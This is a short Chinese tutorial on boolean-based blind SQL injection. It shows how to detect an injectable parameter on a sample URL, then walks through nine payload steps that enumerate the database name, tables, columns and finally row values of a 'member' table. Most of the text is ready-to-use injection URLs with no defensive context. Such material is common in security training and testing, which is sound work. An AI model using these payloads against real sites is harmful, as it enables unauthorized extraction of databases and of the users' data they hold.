布尔盲注
布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。
例如一个网址http://abc.cn/new_list.php?id=1,当我们在后面网址后面加上`and↗ 1=1 或 and 1=2`来判断页面的回显情况,当and 1=1页面不变,而and 1=2时发生变化,那这里就很可能是注入点,由于布尔盲注太过繁琐我们可以运用sqlmap进行注入爆破,这里不做讲解,这里只讲解具体爆破相关的SQL。
布尔盲注大概分为以下九步:
爆库名长度
http://abc.cn/new_list.php?id=1 and length(database())=10根据库名长度爆库名
http://abc.cn/new_list.php?id=1 and substr(database(),1,1)='s'对当前库爆表数量
http://abc.cn/new_list.php?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2根据库名和表数量爆表名长度
http://abc.cn/new_list.php?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6根据表名长度爆表名
http://abc.cn/new_list.php?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='m'对表爆列数量
http://abc.cn/new_list.php?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='member')=3根据表名和列数量爆列名长度
http://abc.cn/new_list.php?id=1 and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'member' limit 0,1),1))=4根据列名长度爆列名
http://abc.cn/new_list.php?id=1 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='member' limit 1,1),1,1)='n'根据列名爆数据值
http://abc.cn/new_list.php?id=1 and (select substr(name,1,1) from stormgroup.member limit 0,1)='m'
Thanks for reading!